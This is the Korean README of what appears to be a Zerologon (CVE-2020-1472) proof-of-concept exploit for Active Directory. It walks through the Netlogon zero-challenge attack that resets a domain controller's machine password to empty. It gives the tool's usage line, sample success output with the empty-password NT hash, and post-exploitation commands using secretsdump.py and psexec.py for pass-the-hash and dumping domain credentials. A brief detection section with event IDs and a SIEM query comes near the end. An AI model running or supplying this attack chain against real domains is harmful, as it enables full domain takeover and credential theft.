
Zerologon (CVE-2020-1472) 개념 증명(PoC) 애플리케이션 - Active Directory의 치명적인 취약점 악용 도구.
이 프로젝트는 가장 중요한 Active Directory 보안 취약점 중 하나인 **Zerologon 취약점(CVE-2020-1472)**의 구현입니다. 이 취약점은 인증되지 않은 공격자가 도메인 컨트롤러의 컴퓨터 계정 비밀번호를 재설정하여 전체 Active Directory 도메인을 손상시키는 것을 허용합니다.
Zerologon은 Microsoft의 Netlogon 원격 프로토콜(MS-NRPC)에 존재하는 암호화 결함입니다. 이 취약점은 Netlogon이 하드코딩된 0 값의 초기화 벡터(IV)와 함께 AES-CFB8 암호화를 사용하는 방식에 존재합니다.
기술 요약:
1. Target Selection
└─> Identify Domain Controller (FQDN, NetBIOS name, machine account)
2. Challenge Phase (I_NetServerReqChallenge)
└─> Send all-zero client challenge (0x0000000000000000)
└─> Receive server challenge
3. Authentication Phase (I_NetServerAuthenticate2)
└─> Attempt authentication with null credentials
└─> Repeat until successful (~1/256 success rate per attempt)
4. Password Reset Phase (I_NetServerPasswordSet2)
└─> Reset DC machine account password to empty
└─> New NT hash: 31d6cfe0d16ae931b73c59d7e0c089c0 (empty password)
5. Post-Exploitation
└─> Use Pass-the-Hash with empty credentials
└─> Full domain compromise achieved
Visual Studio 사용:
1. Open Visual Studio
2. Select **Build Solution** from the **Build** menu.
Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>
예시:
Zerologon.exe DC01.corp.example.com DC01 DC01$
DC_FQDN: 대상 도메인 컨트롤러의 정규화된 도메인 이름(FQDN)DC_NetBIOS_Name: DC의 NetBIOS 이름 (일반적으로 호스트 이름)Machine_Account_Name: 컴퓨터 계정 이름 ($로 끝나야 함)성공적인 악용:
[+] Targeting Domain Controller:
FQDN : DC01.corp.example.com
NetBIOS Name : DC01
Machine Account: DC01$
[+] SUCCESS: Machine account password reset to empty!
[+] Now use Pass-the-Hash with:
.\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Then run: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>
실패한 악용 (패치된 시스템):
[-] Attack failed after 2000 attempts. Target likely patched.
DC 비밀번호를 성공적으로 재설정한 후, 다음을 수행할 수 있습니다:
secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
네트워크 기반 탐지:
로그 기반 탐지:
Event Viewer → Windows Logs → System
- Event ID 5827: Multiple password validation failures
- Event ID 5829: Secure channel reset
SIEM 쿼리:
source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100
이 도구는 교육 및 승인된 보안 연구 목적으로만 제공됩니다.
저자는 이 코드의 오용에 대해 어떠한 책임도 지지 않습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.